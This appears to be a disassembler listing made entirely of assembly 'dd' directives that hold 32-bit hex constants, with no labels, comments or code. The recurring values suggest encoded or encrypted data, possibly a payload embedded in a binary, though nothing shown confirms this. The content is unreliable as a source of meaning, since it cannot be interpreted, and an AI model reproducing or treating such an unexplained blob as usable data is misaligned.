		dd 47BE5E88h, 56579C32h, 56AC303Dh, 0AFB5B132h,	7DED0A54h
		dd 44F4BE53h, 0BFBAB132h, 565DB13Fh, 765151BFh,	0E046FFB5h
		dd 21FDC7B1h, 0A3D5B148h, 0D7E5B132h, 5675B133h, 59BAB1CAh
		dd 565DA6B9h, 56BC5832h, 0A952B132h, 2955E08Dh,	0F41557D3h
		dd 0C948EC96h, 1E769E1Bh, 0D4B5B132h, 565DB138h, 5622BE52h
		dd 0DD57B132h, 56ABD0E5h, 56D5BBDBh, 491F4832h,	439C9A07h
		dd 56DA79ABh, 564C5832h, 0BA51B132h, 0B820CBAEh, 95AB76F1h
		dd 218E9703h, 563B48DBh, 0EF13D132h, 3742F4B4h,	2EDE0952h
		dd 56CFAF93h, 37A2D132h, 0D9A4B132h, 56D5B121h,	56EABFDBh
		dd 0BD880032h, 9C8A071Eh, 3425D356h, 568578B6h,	0B6D6D132h
		dd 7A8FEE57h, 36D5B153h, 8761D7C7h, 5975B153h, 56BAB0B7h
		dd 565D4832h, 56AEA0DBh, 7427DC32h, 0D72445D7h,	0B864F94Bh
		dd 0CE6243E7h, 459CFCC5h, 0F6BAB132h, 0D2EA89CCh, 9CE725BEh
		dd 5A2B4E1h, 0C32C3CDBh, 56D5A50Ah, 56ED353Dh, 0DC7AB132h
		dd 56BAB133h, 595DB1CAh, 56AEA3BFh, 565A5832h, 0C7E7B132h
		dd 69BD544h, 0F6F6A273h, 567D973Eh, 56BA4832h, 56515952h
		dd 0B67FB132h, 37A9CAE1h, 0C5B2F157h, 8C5F7218h, 0B060D169h
		dd 0F39C3054h, 56DBD0BAh, 0DF52D132h, 56AEB130h, 0D558E964h
		dd 56ABB130h, 56B4E963h, 56E45832h, 0AB7FB132h,	5EFC104h
		dd 0C5BAE9FBh, 0BCA6FC4Ah, 0D458B132h, 56ABB133h, 0BFD5B1CAh
		dd 56EAB13Fh, 13351CCh,	37AD674Bh, 79CA9C8Eh, 0BFAEB153h
		dd 5657B120h, 2FE781DAh, 3827FA5Fh, 9DA908D0h, 0DF1A71FBh
		dd 56BAA4D6h, 565DB9DBh, 2D929932h, 9B193AA3h, 0BFABB18Dh
		dd 56D5B13Ah, 0CB57BB4Bh, 552F8D4Bh, 0DDB5B132h, 565DB13Ah
		dd 30CFD152h, 37338389h, 0DDCBB132h, 56D5D0F5h,	56ED363Dh
		dd 0D57AB132h, 56BAB133h, 595DB1CAh, 56AEB6B9h,	57D6BE32h
		dd 0AAABB132h, 36B5B132h, 56EA383Dh, 429CB132h,	88BAB132h
		dd 0B32EF453h, 0CB378109h, 9150DC4Fh, 29BB4CE6h, 37E097F1h
		dd 5E67BE53h, 5975B132h, 56BAB3B9h, 563CD132h, 56A25832h
		dd 0D4FAB132h, 0E5D4F1E9h, 1E6F5FCEh, 56EA600Ah, 0F8B03152h
		dd 0BFBAB153h, 565DB137h, 52130AE3h, 56505812h,	103B132h
		dd 0E71CEA9h, 36EAB18Ah, 5673393Dh, 0D3B5B132h,	565DB132h
		dd 0BFAEB153h, 5657B13Ch, 47F4781h, 0CFE305FDh,	70088C19h
		dd 5675CB84h, 56A53B3Dh, 0DA52B132h, 56AEB12Bh,	5657A5DBh
		dd 85918032h, 35825147h, 0A6B6EA27h, 965AA17Fh,	82C09267h
		dd 0A35DB154h, 0DDA1B132h, 5657B135h, 56AA3C3Dh, 5620B132h
		dd 56EA4832h, 0BF75B1CEh, 56BAB138h, 55153AF9h,	15E6FA41h
		dd 56579A7Ah, 59ABB1C7h, 56D5ACBCh, 4702D132h, 9875B132h
		dd 7F90804Dh, 0BD83483Eh, 0C782ED25h, 0FCB45964h, 0E414D76Ch
		dd 56D5D096h, 56E4323Dh, 0BE15B132h, 56BAB137h,	0E6A35999h
		dd 375BE806h, 56A2B132h, 56A15832h, 170CB132h, 0E5BBEB48h
		dd 89A1681Ch, 594FB132h, 565DBBBFh, 37CED132h, 5657303Dh
		dd 56CAB132h, 585FBE32h, 0BFEAB132h, 5675B13Bh,	0FFA3B7D1h
		dd 0A5801510h, 36AEB181h, 5411F68Ch, 0B47B3062h, 37DE5D6Eh
		dd 0A06BD752h, 0D77A397Dh, 56BAB130h, 563CEA63h, 4B28BE32h
		dd 5957B132h, 56ABA6BAh, 56C75832h, 2BE8B132h, 42A0D11Eh
		dd 660A0BB4h, 0E8DAE156h, 0E4EE494Ch, 56A2B132h, 0E2CBD132h
		dd 0C1273073h, 378E32E3h, 427E0854h, 0BFBAB153h, 565DB122h
		dd 3425E44Ah, 0C9285D7h, 0A8654C20h, 0BBAC7D6Ch, 5103B132h
		dd 675B132h, 1B1E6397h,	565D804Eh, 56AEBFDBh, 89961432h
		dd 0DFD4A7E5h, 0DDA20C66h, 590C4876h, 5675A8B1h, 56AE5832h
		dd 84D7B132h, 93162B71h, 4D33F8B4h, 81FAC736h, 90DB2A5Ah
		dd 56EAC826h, 56643C3Dh, 5A53B132h, 1D5DB132h, 2F04F9DEh
		dd 57C48F11h, 56C5C779h, 7961D132h, 368BD152h, 5614D053h
		dd 0ECDCD132h, 0DA523B64h, 56AEB136h, 7FB40A54h, 0BFABB153h
		dd 56D5B13Fh, 87C368FFh, 0CF05FB60h, 2FFA346Fh,	0D73BD18Bh
		dd 59DCFDC2h, 5636718Dh, 0E9CDD132h, 0ECB3E9ECh, 568B7DF8h
		dd 0D713D132h, 0BF7174EDh, 565DB126h, 0BBCADA61h, 1D487A0Bh
		dd 90B78876h, 25FBDCA8h, 0ECB3BF36h, 0AE75B153h, 5643B132h
		dd 58B5D132h, 0C9AEB132h, 0E4F2C154h, 3DC89CA2h, 0CAF42FA6h
		dd 56E258ABh, 0D2E6B132h, 0FB367AEAh, 50378EBh,	56AEBFDBh
		dd 0A6232832h, 20AC9707h, 1EB9CCF0h, 8A91B18h, 0BF75B153h
		dd 56BAB13Ch, 0E342C432h, 287D044Fh, 0B7B67189h, 56ABC082h
		dd 56D5B7DBh, 911A32h, 56E6DB90h, 56AB5832h, 0B62AB132h
		dd 0A144A84Bh, 3F56701Dh
		dd 0BC660AF3h, 564C4F51h, 56E65832h, 3A47B132h,	8867A0C5h
		dd 0D1C29195h, 56AEA925h, 56503B3Dh, 0D8A4B132h, 56D5B133h
		dd 0AAEAB1CBh, 568DB132h, 5B52D132h, 325DB132h,	0F5F0AE8Ah
		dd 4472BD9h, 7884EFC1h,	0BE8C4FB8h, 56EAB13Dh, 7AAE9F77h
		dd 12F7ED34h, 4D2789F9h, 361D41F0h, 3636EA53h, 56ABB8DAh
		dd 896F5E32h, 0A4C80624h, 0A0F4B3CDh, 4FF264A8h, 0BCDCD769h
		dd 56CF9451h, 56574932h, 56ABB7DBh, 0F7805F32h,	5683F549h
		dd 0D57AD132h, 56BAB132h, 4FA867B3h, 36CFE646h,	88E8BE60h
		dd 8E20D76Ah, 0A3D5B153h, 561FB132h, 56645832h,	5F35B132h
		dd 614A4DB8h, 632366AEh, 0D7178CA3h, 5696C536h,	0D8DAD132h
		dd 56EAB134h, 0B64A56B3h, 0A3DBF4D8h, 0DF52B132h, 56AEB133h
		dd 3657B1CBh, 56CA48CEh, 56DA5832h, 0C65AB132h,	0FC86CFE9h
		dd 927D46C0h, 0C1434185h, 0BE24D114h, 37943A54h, 0D9A4B132h
		dd 56D5B136h, 378BD152h, 567D303Dh, 0DAB5B132h,	565DB130h
		dd 56AED052h, 9DD74852h, 565ED0EFh, 0ECB3D132h,	0E1E597B0h
		dd 5675D0E9h, 59BAB1CBh, 565DA7B3h, 56BF5832h, 5AF6B132h
		dd 6E6922C3h, 3331A8D9h, 8EEAC767h, 569081A5h, 0E1B5D132h
		dd 4ED6BEC3h, 0BFAEB132h, 5657B121h, 22999EE0h,	0ACA33EE1h
		dd 42E468AAh, 0B2015CD3h, 3718F464h, 5EB4B132h,	0CDAEB132h
		dd 0F2626F09h, 569080ACh, 5E5BBE32h, 36EAB132h,	0ED137FB9h
		dd 56DBADDAh, 44B4D132h, 2BAEB132h, 94B9A50Fh, 6E482777h
		dd 0B795EC10h, 47F8D753h, 99F4D7A0h, 56DB07BBh,	0BF3DD132h
		dd 56AEB13Eh, 0F608E336h, 28AEC35Bh, 1B0CFC7h, 371C063Dh
		dd 5675B9DAh, 83DFD532h, 0AED75CB5h, 0C77061Eh,	56574953h
		dd 56A8373Dh, 0AAB5B132h, 59EAB153h, 5675AEBEh,	0DDDCD132h
		dd 564959FCh, 0B58FB132h, 8B49479Fh, 0CB3CAAC7h, 0EBD99CA9h
		dd 0F7FDA74Dh, 372FD617h, 0DDB5B132h, 565DB12Bh, 56BD373Dh
		dd 58BEB132h, 85ABB132h, 0E055BAA0h, 0B09CE21Eh, 24AF4D2Dh
		dd 56BA44AAh, 565DA1DBh, 36CE4032h, 48347BCBh, 0D1232652h
		dd 0A1308694h, 0BFEAB1A2h, 5675B13Ch, 72B4983Eh, 97BBA17Ch
		dd 99144E28h, 5657163Eh, 56AB49C7h, 56CC323Dh, 4203B132h
		dd 5A75B132h, 0E89025A5h, 23D93F99h, 14F155D9h,	2243C28Ch
		dd 0AF2255BFh, 5620B132h, 0ED8CD132h, 5614A6CBh, 56BA4932h
		dd 9EDDE152h, 721BE912h, 6AED153h, 37F148B8h, 513CB132h
		dd 3FEAB132h, 8D30083Eh, 5053572Fh, 0FF5DB132h,	0E1E87198h
		dd 3657B160h, 0D615AD89h, 371F3B44h, 0DDE5B132h, 5675B133h
		dd 0A3BAB1CEh, 5655363Dh, 0DEA1B132h, 5657B130h, 56ABD052h
		dd 56C3383Dh, 4703B132h, 8575B132h, 174D2D65h, 0ACED95DAh
		dd 0B25EEC20h, 93C0A2F0h, 0BECBB132h, 56D5B123h, 0FD3C5446h
		dd 0FB5C9C14h, 5AF4D9A6h, 0CFA94E26h, 56BA58FBh, 67E1B132h
		dd 8FC141F1h, 2FCA38BAh, 0FC1433FCh, 77637EDh, 59E24208h
		dd 565DB3BAh, 37F4E032h, 0BF37B132h, 56ABB134h,	6CA5E455h
		dd 568B43BEh, 567C5832h, 0D78BB132h, 44586FB9h,	560B2E3Ch
		dd 57DDBE32h, 0AFABB132h, 30B5B132h, 67F77AB3h,	0AE75B153h
		dd 0AFBAB1CAh, 0DC52B132h, 56AEB123h, 5657BDDBh, 7A261D32h
		dd 88AD9FE2h, 522B5966h, 0BF75B106h, 56BAB13Ah,	0B3BF9375h
		dd 0C17F2586h, 5656383Dh, 5657B132h, 5757BE32h,	0AAEAB132h
		dd 568CB132h, 56B55832h, 3CDEB132h, 95C87138h, 0F152448Dh
		dd 0A8414763h, 0BFD5B170h, 56EAB122h, 7DD34288h, 38B7C0F2h
		dd 401BC059h, 20471B6Ah, 3637B132h, 596C3A54h, 56D5B1B7h
		dd 0E1E5D032h, 5675D0E8h, 56B55852h, 0FCE8B132h, 0AA330F76h
		dd 94261E62h, 390596Ch,	56D258DEh, 6BC7B132h, 1C930A76h
		dd 56BAD0BEh, 52E7D752h, 375D0160h, 0BF37B132h,	56ABB139h
		dd 0A16CC11h, 9D57316Ah, 36E750C1h, 0D42B61B3h,	0BEDCB41Dh
		dd 4637A980h, 0D637D053h, 5D4210D1h, 6D5B132h, 262B2DDBh
		dd 0C8B98444h, 56DBA15Bh, 0D73BD132h, 37B893FDh, 0D158B132h
		dd 56ABB133h, 59D5B1CAh, 56EA9DBFh, 479CD132h, 73BAB132h
		dd 0A11A7F96h, 25B4FCB0h, 13E65002h, 6F2AFEB1h,	56D5BFDAh
		dd 0C7DCAD32h, 4BCD338Ah, 432A3B47h, 0E38A878h,	36AEB153h
		dd 565A393Dh, 5E42B132h, 9BD5B132h, 0C6E8DF60h,	37A9F6EFh
		dd 37DAB132h, 0DA52B132h, 56AEB12Ah, 5657A2DBh,	0EF25B732h
		dd 0C5E5E495h, 0A19E4721h, 142BEDBBh, 0A5D1F1B5h, 563C4952h
		dd 56A85832h, 4431B132h, 8A3A2323h, 0AED5B1CAh,	5103B132h
		dd 6775B132h, 64C2A325h, 565DE2E5h, 56B7313Dh, 42BEB132h
		dd 0F6ABB132h, 0ED993BCBh, 2E3C519Ch, 700FB404h, 45B57C2Ch
		dd 0A37CAF80h, 5947B132h, 0C257B132h, 3F21B51Dh, 84768676h
		dd 0C912C270h, 5675DEDDh, 56BB3A3Dh, 56A1B132h,	53474432h
		dd 0E357B132h, 4C6B9F1Ah, 0D9DAB132h, 56EAB126h, 92A33052h
		dd 0BEF7642Bh, 565DB134h, 167125B8h, 370CBB61h,	4542B132h
		dd 0F7D5B132h, 0ECA315ACh, 291FD7DBh, 0FD5D118Fh, 2334CCB3h
		dd 56AEBC0Ch, 565F58C7h, 0DD8B132h, 8863D370h, 56EA13F8h
		dd 90FED752h, 56DB41B9h, 564F5832h, 1CDBB132h, 0DFD20DCBh
		dd 1E8FB1E0h, 0C41F9F40h, 0EFEE458Eh, 0D715B132h, 407CAD8h
		dd 0E93DD04Ch, 765390F3h, 56364781h, 5726BE32h,	0AED5B132h
		dd 5613B132h, 57FDBE32h, 0AFBAB132h, 0DC3DB132h, 4647D0F4h
		dd 4657B132h, 406EF9BFh, 0B791822Fh, 8B8EEACFh,	560D3501h
		dd 0B73AD132h, 375C07B0h, 0D6A1B132h, 5657B133h, 0BFABB1CEh
		dd 56D5B13Dh, 0B69C4454h, 0D2D4A57Ch, 0BEC903F4h, 56F7D2C4h
		dd 56AE4932h, 3657B1CEh, 98C15EB3h, 56B4A3CDh, 56EA4432h
		dd 567D373Dh, 0D5B5B132h, 565DB130h, 56AED052h,	98D3152h
		dd 37743A54h, 503CB132h, 1FEAB132h, 0AE34D6BFh,	0AFBAB19Fh
		dd 0D552B132h, 56AEB125h, 5646323Dh, 5A42B132h,	8AD5B132h
		dd 0A5E0BEFCh, 905CA5C4h, 560076FFh, 43D5BE32h,	0BFAEB132h
		dd 5657B122h, 4A69FEDCh, 0D4299673h, 910D8D66h,	0B5892746h
		dd 5943B132h, 565DA9B5h, 5947D132h, 6B57B132h, 42A157C9h
		dd 7325B5BFh, 53D54032h, 37159D8Bh, 0BFBAB153h,	565DB13Eh
		dd 1B1C81FCh, 85351078h, 0E551024Fh, 5629B132h,	56EF5832h
		dd 0A09BB132h, 56F87DEBh, 565D4D32h, 36AEB1CEh,	13EED7C7h
		dd 5142D060h, 1D5B132h,	0EE5A03B7h, 567577E9h, 56BAA5DBh
		dd 56D2432h, 41BCD548h,	2F7DD0CFh, 3E6B5D91h, 6C2CC1D8h
		dd 0AAEAB1F9h, 0D77AB132h, 56BAB130h, 56A1D052h, 56BE5832h
		dd 4866B132h, 0F8317054h, 0CB271A3h, 0A3E1BC0Eh, 5675954Bh
		dd 56BABBDBh, 6D654332h, 0BA8E2FB7h, 562A9FFDh,	56AB4432h
		dd 59D5B1CEh, 56EAB0B0h, 56754432h, 0BFBAB1CAh,	565DB135h
		dd 7F43E5CBh, 562F8A5Fh, 56AB4432h, 56C7313Dh, 5B03B132h
		dd 9675B132h, 0A0A8ECA6h, 8311FD07h, 51763EAh, 0BE37B132h
		dd 56ABB13Ch, 0BA0AE17Eh, 7344174Eh, 0F8DC0C0Ch, 0E1B5E054h
		dd 563CEBFAh, 5956D132h, 0AF366A8Dh, 37CBB132h,	513CB132h
		dd 0F2EAB132h, 0D219C8DFh, 56432A11h, 56495832h, 3C89B132h
		dd 0CC77CD94h, 0CE057275h, 0CA1EA1Fh, 52650079h, 5680D458h
		dd 573BBE32h, 0AA5DB132h, 30CEB132h, 48253B3h, 59ABB153h
		dd 56D5A7B2h, 56FB5832h, 2752B132h, 24795AF8h, 46F728F5h
		dd 47256330h, 56AF57BBh
		dd 56BB5832h, 0AB28B132h, 887F946Dh, 818CB65Dh,	151C2A72h
		dd 56A56F3Ch, 56A85832h, 0B596B132h, 93A5093Fh,	0BEB5B132h
		dd 56EAB13Bh, 0DB163E54h, 639486DBh, 0BF0548C6h, 56AEB13Ch
		dd 984F5ADBh, 78C47E01h, 0E628856Fh, 568B8A8Fh,	0DD13D132h
		dd 5030BEC3h, 595DB132h, 56AEB1B3h, 42BED032h, 19ABB132h
		dd 60F21A6Fh, 0BE77A308h, 0F1746642h, 31961BDFh, 56196AB4h
		dd 56A15832h, 0D9C9B132h, 0F3E78DB9h, 20D41564h, 0ACFD1826h
		dd 0BF75B13Dh, 56BAB13Ah, 195A94B3h, 4EFDDF57h,	3037B132h
		dd 55AC73B3h, 411A5FB3h, 368BD0B2h, 5675BBDAh, 501B7732h
		dd 0C6CC6F8Dh, 0D7695C80h, 562BF4F5h, 5C42EA3Ch, 0DBD5B132h
		dd 7642C439h, 41033324h, 56BAD033h, 0BF5DB1CEh,	56AEB123h
		dd 8E55D7A3h, 0DACD029Bh, 90420F4Ch, 512FAA21h,	57FCBE9Dh
		dd 0AEBAB132h, 5EB4B132h, 0CAEB132h, 71997572h,	56EA3391h
		dd 0DD20D132h, 5103D0F9h, 0B175B132h, 6BA82B2Fh, 565D6731h
		dd 56AEBCDBh, 8601F832h, 1E5849Ah, 0E6110303h, 5616AE68h
		dd 56754432h, 56BB323Dh, 56A4B132h, 56BC5832h, 3377B132h
		dd 337220EBh, 0BD92833Ah, 484D6DFCh, 108E6C2Eh,	0EDDAB132h
		dd 673E0601h, 37A474B2h, 0DE58B132h, 56ABB13Ah,	56D73D3Dh
		dd 378AB132h, 0AA15B132h, 56B65860h, 4C31B132h,	518AFC0Eh
		dd 0CC4D6BA6h, 37F39E3Bh, 562DB132h, 56EA4D32h,	0ADFED752h
		dd 56BAB6DAh, 8C32CA32h, 1AD6EDD1h, 5657D06Dh, 56ABB8DBh
		dd 4E9E9232h, 4745411Ch, 5675A617h, 56B0333Dh, 0D73DB132h
		dd 0E0182DE3h, 370FE07Ch, 56B23D3Dh, 423CB132h,	50EAB132h
		dd 5943535Fh, 3E23C4B0h, 86E05EEFh, 28D9EFBh, 5693836Dh
		dd 5943D132h, 7FD5B132h, 1083DD1Eh, 3CB0356Ch, 0F72BC06Eh
		dd 90E886Dh, 0A819BE69h, 5957B153h, 56ABB8BFh, 0D7B3D132h
		dd 0E7272BD1h, 5675D0CDh, 8F0DBE52h, 3B973054h,	56AED0BDh
		dd 0BF57B1CAh, 56ABB135h, 73A5074h, 5647AD3Ch, 5DF0BE32h
		dd 0BFBAB132h, 565DB134h, 2DD91C78h, 5657F370h,	56ABBFDBh
		dd 0DB8F3F32h, 7E13AF48h, 83265070h, 56CEF637h,	57DCBE32h
		dd 0AFAEB132h, 3037B132h, 37E60289h, 0BFB5B132h, 56EAB134h
		dd 0D25C232Bh, 0AFED683Ch, 0DF52D069h, 56AEB133h, 5957B1CEh
		dd 56ABBDB5h, 56D25832h, 39DCB132h, 0B282D81Dh,	0BFBAB199h
		dd 565DB121h, 0F717C118h, 9F759DC5h, 4A98647Bh,	434C89F2h
		dd 561A413Bh, 56615832h, 8559B132h, 0A472A37Eh,	0A5FB2178h
		dd 0F4C57979h, 67CF5E3Ch, 443CC833h, 23EAB132h,	0EDFA0E8h
		dd 995E2ABCh, 8B9DD624h, 93BD49C5h, 0BF57B17Dh,	56ABB139h
		dd 0E3C1833Dh, 39E83656h, 565779C9h, 36DA4932h,	56593C3Dh
		dd 0EDC8B132h, 94DC2C21h, 0D7CDD153h, 0AA4A44E9h, 56EA5953h
		dd 0D72FB132h, 893D64D8h, 40AD135h, 0BF14E869h,	3706350Fh
		dd 2C463152h, 207140B3h, 0DB8B95A7h, 884656B7h,	5953D135h
		dd 0B35DB132h, 8662B6BEh, 1CA752BCh, 11978524h,	0D7B393B7h
		dd 37B811D8h, 391E33BBh, 0DB46B6EDh, 0B6CB34B0h, 0D4274835h
		dd 5188DEB9h, 56ABBADBh, 8D042132h, 0DC4DE9BBh,	0B4B1E518h
		dd 568C14DAh, 21B54832h, 59AEB130h, 5657B6B6h, 0B14D132h
		dd 37CFD9C3h, 806876CEh, 56726E5Ch, 0BFBAB132h,	565DB123h
		dd 648D7C58h, 0D40F4FF2h, 6E0F6E2Ah, 0E88534DFh, 9016E343h
		dd 856D60B7h, 30DAE735h, 0D7A1168Ch, 0EB0E9BE4h, 43FD058h
		dd 3637198Ah, 9D273152h, 372D0E3Dh, 194D0954h, 5735BE53h
		dd 0AA5DB132h, 5B5F04CDh, 0D358B6E1h, 56ABB124h, 56D5A0DBh
		dd 0E2F47E32h, 3A0EF8C5h, 0E214B6BCh, 0B2E37C75h, 0D32301F2h
		dd 518BB258h, 56ABBCDBh, 0B8F8F32h, 65DA047Ah, 0A3131BBh
		dd 59539AB9h, 395DB132h, 0AF5EB931h, 0B42D8888h, 0CC264B7Fh
		dd 862A9CD0h, 5B68BE52h, 0BF75B132h, 56BAB13Ah,	4B216834h
		dd 4E87CFE3h, 37843A54h, 7CE634BBh, 0DDB5B6E1h,	5280D0E4h
		dd 0D69E3B52h, 3EDB80D3h, 565DA132h, 56BD3F3Dh,	58BEB132h
		dd 0CEABB132h, 0DD4AC5ECh, 0F2C6109Eh, 1365B205h, 7905D18Eh
		dd 0DD1C9407h, 16C6D0E5h, 0AF57B23Fh, 4642B158h, 51D5B132h
		dd 5C1110E7h, 5CA89425h, 7D5B9B0Bh, 0A97ED2D7h,	56A458E2h
		dd 0B792B132h, 0F925551Eh, 7D0A543Dh, 96E14868h, 576E353Dh
		dd 5943B132h, 565DBDBBh, 5028BE32h, 5957B132h, 56ABB1BDh
		dd 80573832h, 0BFED6E5Ch, 5675B126h, 7CF0FDB9h,	86D38EA6h
		dd 4CD85E42h, 337DF4BCh, 1938BD69h, 56D5BEDBh, 0D36B9232h
		dd 0B3B3208Eh, 978E30E2h, 0EE8CDE6Ah, 385833BBh, 59BEB6EDh
		dd 0B7ABB132h, 7F553549h, 0C492C348h, 0CF060800h, 160353FCh
		dd 0BF5DB23Fh, 56AEB13Dh, 74765DA0h, 9649AE1Eh,	0A0F25AFCh
		dd 0DD0D76C2h, 964644CAh, 56BAB8DBh, 0C18B4832h, 80BB359Ch
		dd 0FCA43669h, 568B363Dh, 0BFB5B132h, 56EAB121h, 0D46B442Ch
		dd 28FF2B1Ch, 5EAEF507h, 348A1372h, 0D78DCC8Ah,	76046BEDh
		dd 3687D04Bh, 30AB45B2h, 3C1442B9h, 56D24D36h, 0A35DB122h
		dd 56AAB15Ah, 563D4832h, 56AA3B3Dh, 0AF2DB132h,	7CA723CDh
		dd 3689B6E1h, 0D6423A54h, 0C3C3BE8h, 0B72FD752h, 0DD3174D1h
		dd 0D422D0C8h, 510AC373h, 56ED303Dh, 3015B132h,	6C0C53B3h
		dd 58B4D153h, 0DFAEB132h, 17C0DE5Ch, 0A5C7FF3Ah, 33B2D002h
		dd 995DBE04h, 0DD89D053h, 89D467B7h, 56555835h,	0C283B132h
		dd 9E85B0DAh, 0BF685AA1h, 56D5B138h, 0D7E3D575h, 0EC75B901h
		dd 59DA1BD8h, 565DADBDh, 4021BE32h, 0BF57B132h,	56ABB123h
		dd 303E8E65h, 0DA3387C6h, 14EA8469h, 0BD99254Ch, 0DFDF7628h
		dd 56A96231h, 5957F132h, 56ABABBDh, 5B3DD132h, 0A1EAB132h
		dd 7F7AF26Fh, 736F42CDh, 0A02FD121h, 28900B6Dh,	9136EF15h
		dd 85AABCB0h, 56C5B135h, 56E15832h, 864AB132h, 318A7869h
		dd 54956A38h, 955BD068h, 565F373Dh, 0D6CBB132h,	0E9DA1DFEh
		dd 0AF8AD0CBh, 38A30BB9h, 0D542B6EDh, 0D252B10Dh, 56AEB191h
		dd 5657A5DBh, 0D78CBD32h, 0C1445E93h, 99DAD0B1h, 45819890h
		dd 0BA445D73h, 462232BFh, 152ABE30h, 0BF57B132h, 56ABB13Ch
		dd 0FE30BFAAh, 72EE8C2h, 816AB6C7h, 29395764h, 0D252B522h
		dd 56AEB179h, 429032CAh, 56A7323Dh, 0D9DAB132h,	56EAB134h
		dd 5675333Dh, 0CA53B132h, 0A3A24ECDh, 56AA3C3Dh, 0E537B132h
		dd 116CD07Ch, 56D5B022h, 0E1E5D132h, 9C9CD0C9h,	0BF454ECDh
		dd 565DB13Dh, 0CE74D3CCh, 0CB68888Bh, 29270C41h, 9101AF5Dh
		dd 56E9A175h, 0BF8DB132h, 0A9454E9Bh, 565DB7DBh, 7F09FC32h
		dd 37EEF235h, 982AD752h, 503C3479h, 0EEEAB132h,	11725CC0h
		dd 0BF79D0D4h, 565DB121h, 4ED06FB0h, 3F3E88D9h,	0CD83898Bh
		dd 28733DFCh, 3560722h,	59A13B52h, 56BAA0B1h, 56515832h
		dd 0F5B132h, 0CA10ACF0h, 0D7F322F5h, 0DDB48FDEh, 56E058DEh
		dd 1897B132h, 4E3B7DB4h, 478D64A6h, 5527BE52h, 0D657B132h
		dd 0DEA4B0EEh, 56D5B132h, 308AD153h, 0B0F45BB3h, 56AB5853h
		dd 8FC3B132h, 28DFA216h, 0B5516CFBh, 7084F7DAh,	0BE5A064Bh
		dd 56EAB132h, 259F3068h, 0BFBD6EBEh, 565DB135h,	0BA1BBD97h
		dd 0BF083E20h, 56ABB135h, 0DC6AE316h, 0DDCF2460h, 8907D180h
		dd 13314935h, 0D73DD13Ah, 0D36BD5C5h, 59364D27h, 56ABA9B9h
		dd 56C65832h, 0D3E2B132h, 2494E27Fh, 0FFB8403Fh, 0BDF61097h
		dd 0FA0D08B0h, 50DED06Bh
		dd 56AC373Dh, 0D6DAB132h, 56EAB133h, 36F732CEh,	52BD6E40h
		dd 565DB4DBh, 0D69C5232h, 0AE3619A5h, 5728BEFBh, 0AED5B132h
		dd 0BFEAB5F0h, 5675B139h, 0CFE87716h, 78C844FDh, 36010059h
		dd 5CBE4952h, 9FABB132h, 0E9476D8h, 938BFDDh, 459CD012h
		dd 0ACBAB132h, 2817D912h, 8E95BCDEh, 0C5AB977Ah, 0ED36C60Dh
		dd 563DD2CBh, 0CEAB132h, 0DB475BB3h, 0BFDAB6EDh, 565DB122h
		dd 0A23217B8h, 0B4633D16h, 37EAFF85h, 74C984F4h, 56E8363Dh
		dd 12C0B132h, 5053D153h, 535DB132h, 0D3BBDC39h,	85E0BEFAh
		dd 17193A53h, 0BFD26E40h, 56EAB13Bh, 6892C8Ch, 878C09Dh
		dd 36EF8ADAh, 59A96E40h, 5656C9B6h, 5727BE32h, 0AAD5B132h
		dd 0DFE58FB9h, 5675B13Ah, 56B8353Dh, 373DB132h,	0D3A16EB9h
		dd 5657B13Fh, 0BC050A52h, 0B154BB88h, 2737BE1Ch, 19C3BE53h
		dd 5C31BE33h, 365DB132h, 0D9A1EF63h, 5657B132h,	57EC4753h
		dd 6A50BEB2h, 59EAB132h, 5675A4BDh, 56AA5832h, 9773B132h
		dd 0D83410A0h, 98C5ADF7h, 8EEB2F17h, 8FD668E5h,	56F658CEh
		dd 0DD15B132h, 56AA58FAh, 615DB132h, 0E939CC3Dh, 0AAD09F4Bh
		dd 4A6B9150h, 7DB469EDh, 0BFA948EBh, 5675B13Bh,	5D0B3E96h
		dd 7F98EC6Bh, 5C47F2C7h, 1557B132h, 0F3FBE375h,	2A9815E0h
		dd 6B6F3A03h, 59726220h, 56BAACB7h, 42B4D132h, 0C0AEB132h
		dd 9C556997h, 0DDB887ECh, 14E11DA2h, 1EDF9BC7h,	19C742Fh
		dd 0DD43D068h, 8572F4BFh, 6D564D35h, 17D5BEEAh,	0BFABB132h
		dd 56D5B134h, 0EA8A4CD6h, 8F4E3990h, 5694363Dh,	0D5A8B132h
		dd 0BF5BB5F4h, 0A9A84FC7h, 63320A52h, 0BFB5B563h, 56EAB13Bh
		dd 0D8ACA99Eh, 4EFF1578h, 593CD0EAh, 56AEB6B1h,	57D2BE32h
		dd 0A3ABB132h, 0D2DA7E09h, 56EAB17Fh, 57FCBECBh, 0A3BAB132h
		dd 79180CBBh, 0BFCEB6E1h, 5657B123h, 0D291096Bh, 4B14C253h
		dd 0FFAA64F6h, 5B42EF79h, 8F01D7D6h, 0ED3DD035h, 3555B1DAh
		dd 8EA63054h, 2C42D0BEh, 592A4ECCh, 56EABDBCh, 50FFBE32h
		dd 59BAB132h, 565DB1B9h, 955BD032h, 5CBED1CBh, 8BABB132h
		dd 0B596E078h, 5A00DD65h, 567559C2h, 0D7E0B132h, 89D2A8D8h
		dd 56A55835h, 0D603B132h, 9F03056Bh, 2ECAB365h,	0DD8CD18Bh
		dd 0BF1444F0h, 56BAB139h, 0BAF79C53h, 0FE5EE0ABh, 0DD92BDE7h
		dd 89D9F088h, 56DF5835h, 2475B132h, 0B3615399h,	0B2CA8E84h
		dd 5655303Dh, 0D6A1B132h, 5657B130h, 5612D052h,	36D5B133h
		dd 56E8343Dh, 9CC2B132h, 56BAA3DAh, 23D45F32h, 588886Ch
		dd 25DC15A2h, 89382DE1h, 3021DDFBh, 0CBAC50B3h,	0BF15D06Ch
		dd 56BAB13Dh, 3E03F38Dh, 3E41735Ah, 549BA8F1h, 3784DE04h
		dd 0A5297101h, 5A03D199h, 9475B132h, 0B4F86A86h, 0E5F989F7h
		dd 0EDC1F8C1h, 59C8DC4h, 17293A53h, 59D26E40h, 56EAACB7h
		dd 41F0BE32h, 0BFBAB132h, 565DB120h, 0B999F9Bh,	0AE2A0731h
		dd 7831F04Bh, 601E1B50h, 0D4633DF4h, 51AAC352h,	5D31BE52h
		dd 0BF5DB132h, 56AEB134h, 0BD6A5B4Dh, 0BA2B59DEh, 59B4D088h
		dd 56EABDB1h, 50FFBE32h, 59BAB132h, 565DB1BAh, 30CE7232h
		dd 64EA088h, 56AB3D3Dh,	378BB132h, 5003D152h, 5D75B132h
		dd 0C9B022CBh, 0AED6D7F3h, 56AE5953h, 0D70DB132h, 893BF4D8h
		dd 905ED135h, 56EAB9DBh, 0DCCBCA32h, 0A1EB2D9h,	0BE3DD059h
